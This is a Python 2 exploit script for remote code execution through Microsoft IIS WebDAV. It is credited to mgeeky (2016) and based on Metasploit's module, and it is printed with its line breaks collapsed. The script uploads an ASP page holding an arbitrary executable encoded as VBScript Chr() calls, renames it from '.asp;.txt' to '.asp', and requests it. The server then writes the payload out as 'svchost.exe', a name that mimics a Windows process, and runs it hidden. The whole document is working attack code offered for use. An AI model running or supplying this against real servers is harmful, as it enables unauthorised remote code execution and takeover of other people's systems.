#!/usr/bin/python import requests import string import random import sys def randstring(N = 6): return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N)) if __name__ == '__main__': if len(sys.argv) != 3: print 'Usage: webdav_upload.py ' sys.exit(0) sc = '' with open(sys.argv[2], 'rb') as f: bytes = f.read() sc = 'sc = Chr(%d)' % ord(bytes[0]) for i in range(1, len(bytes)): if i % 100 == 0: sc += '\r\nsc = sc' sc += '&Chr(%d)' % ord(bytes[i]) put_request = '''<%% @language="VBScript" %%> <%% Sub webdav_upload() Dim fs Set fs = CreateObject("Scripting.FileSystemObject") Dim str Dim tmp Dim tmpexe Dim sc %(shellcode)s Dim base Set tmp = fs.GetSpecialFolder(2) base = tmp & "\" & fs.GetTempName() fs.CreateFolder(base) tmpexe = base & "\" & "svchost.exe" Set str = fs.CreateTextFile(tmpexe, 2, 0) str.Write sc str.Close Dim shell Set shell = CreateObject("Wscript.Shell") shell.run tmpexe, 0, false End Sub webdav_upload %%>''' % {'shellcode' : sc} print '\n\tMicrosoft IIS WebDAV Write Code Execution exploit' print '\t(based on Metasploit HDM\'s implementation)' print '\tMariusz Banach / mgeeky, 2016\n' host = sys.argv[1] if not host.startswith('http'): host = 'http://' + host outname = '/file' + randstring(6) + '.asp;.txt' print 'Step 0: Checking if file already exist: "%s"' % (host + outname) r = requests.get(host + outname) if r.status_code == requests.codes.ok: print 'Resource already exists. Exiting...' sys.exit(1) else: print '[*] File does not exists. That\'s good.' print '\nStep 1: Upload file with improper name: "%s"' % (host + outname) print '\tSending %d bytes, this will take a while. Hold tight Captain!' % len(put_request) r = requests.request('put', host + outname, data=put_request, headers={'Content-Type':'application/octet-stream'}) if r.status_code < 200 or r.status_code >= 300: print '[!] Upload failed. Status: ' + str(r.status_code) sys.exit(1) else: print '[+] File uploaded.' newname = outname.replace(';.txt', '') print '\nStep 2: Moving file from: "%s" to "%s"' % (outname, newname) r = requests.request('move', host + outname, headers={'Destination':newname}) if r.status_code < 200 or r.status_code >= 300: print '[!] Renaming operation failed. Status: ' + str(r.status_code) sys.exit(1) else: print '[+] File renamed, splendid my lord.' print '\nStep 3: Executing resulted payload file (%s).' % (host + newname) r = requests.get(host + newname) if r.status_code < 200 or r.status_code >= 300: print '[!] Execution failed. Status: ' + str(r.status_code) print '[!] Response: ' + r.text sys.exit(1) else: print '[+] File has been launched. Game over.'